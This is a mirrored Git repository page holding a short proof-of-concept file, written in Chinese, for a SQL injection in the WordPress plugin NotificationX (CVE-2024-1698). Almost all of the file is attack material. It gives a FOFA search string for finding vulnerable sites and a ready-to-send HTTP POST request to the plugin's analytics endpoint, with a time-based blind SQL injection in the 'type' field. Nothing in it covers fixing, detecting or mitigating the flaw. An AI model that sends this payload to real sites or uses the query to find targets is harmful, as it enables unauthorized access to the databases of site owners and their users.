admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity
wy876_POC/WordPress插件NotificationX存在sql注入漏洞(CVE-2024-1698).md

285 B
Raw Blame History

WordPress插件NotificationX存在sql注入漏洞(CVE-2024-1698)

fofa

body="/wp-content/plugins/notificationx"

poc

POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: 
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}